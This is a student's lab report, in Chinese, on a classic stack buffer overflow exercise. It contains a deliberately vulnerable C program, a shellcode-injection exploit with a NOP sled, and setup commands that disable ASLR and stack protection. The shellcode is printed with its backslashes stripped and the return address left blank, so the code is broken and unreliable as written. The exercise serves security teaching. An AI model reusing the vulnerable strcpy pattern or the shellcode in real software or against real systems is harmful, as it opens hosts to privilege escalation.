• 20165225 实验一:缓冲区溢出漏洞实验


    实验一:缓冲区溢出漏洞实验


    实验简介

    • 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

    实验准备

    • 在虚拟机中执行下面3条语句完成环境安装:
    sudo apt-get update
    
    sudo apt-get install -y lib32z1 libc6-dev-i386
    
    sudo apt-get install -y lib32readline-gplv2-dev
    
    
    STACKGART保护方案:
    • 实验开始前执行以下语句关闭地址空间随机化来随机堆(heap)和栈(stack)的初始地址
    sudo sysctl -w kernel.randomize_va_space=0
    
    • 原理:GCC编译器实现了一个称为“堆栈”的安全机制。
      防止“缓冲区溢出”。在这种保护的存在下,缓冲区将不起作用。你
      如果使用-FNO堆栈保护开关编译程序,则可以禁用此保护。例如,
      若要编译一个程序example.c且禁用堆栈保护,可以使用以下命令:
      gcc -fno-stack-protector example.c

    • 为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限。

    • 接下来是设置zsh来重现这一防护措施被实现之前的情形:

    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    

    实验步骤:

    shellcode
    • 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

    image

    • 本次实验的 shellcode,就是刚才代码的汇编版本:
    • 编写漏洞程序保存为“stack.c”文件,保存到/tmp 目录下
    stack
    /* stack.c */
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
    char buffer[12];
    
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    
    return 1;
    }
    
    int main(int argc, char **argv)
    {
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");//程序会读取一个名为“badfile”的文件
    fread(str, sizeof(char), 517, badfile);//将文件内容装入“buffer”
    bof(str);
    printf("Returned Properly
    ");
    return 1;
    }
    
    exploit
    • 编写“exploit.c”文件保存到 /tmp 目录下
    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[]=
    
    "x31xc0"    //xorl %eax,%eax
    "x50"        //pushl %eax
    "x68""//sh"  //pushl $0x68732f2f
    "x68""/bin"  //pushl $0x6e69622f
    "x89xe3"    //movl %esp,%ebx
    "x50"        //pushl %eax
    "x53"        //pushl %ebx
    "x89xe1"    //movl %esp,%ecx
    "x99"        //cdq
    "xb0x0b"    //movb $0x0b,%al
    "xcdx80"    //int $0x80
    ;
    
    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;
    
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");//“x??x??x??x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
    
    strcpy(buffer+100,shellcode);//shellcode保存在 buffer+100 的位置
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    }
    
    • 后续由于虚拟机崩了,只能重建新的虚拟机完成。

    image

    • 试了几百遍都出不了结果,gdb断点一个一个试了加100也没有用,换成实验楼也做不出...

    image

    遇到的问题及解决的方案:

    • 1.无法执行环境配置的第3步

    image

    • 解决方案:执行语句apt-get install lib32readline6-dev 完成安装。

    • 2.未能得到想要的结果

    • 解决方案:无,实验楼说的是重新计算地址,但是我全试了一遍没一个能成功。

  • 相关阅读:
    在meshLab的3D场景中绘制2D透明信息面板
    The Joint ISPRS Workshop on 3D City Modelling & Applications and the 6th 3D GeoInfo Conference
    shader概述
    QString和string互转中文字符
    virtualBox中安装Mac
    可视化排序(插入/选择/冒泡/快速/归并/Shell)
    PointCloud(2) procesing in ROS(PCL)
    蛋疼的回车换行(CR/LF)
    使用ItemData为树节点关联某个对象指针
    博客园标签云
  • 原文地址:https://www.cnblogs.com/nmsl123/p/9787038.html
Copyright © 2020-2023  润新知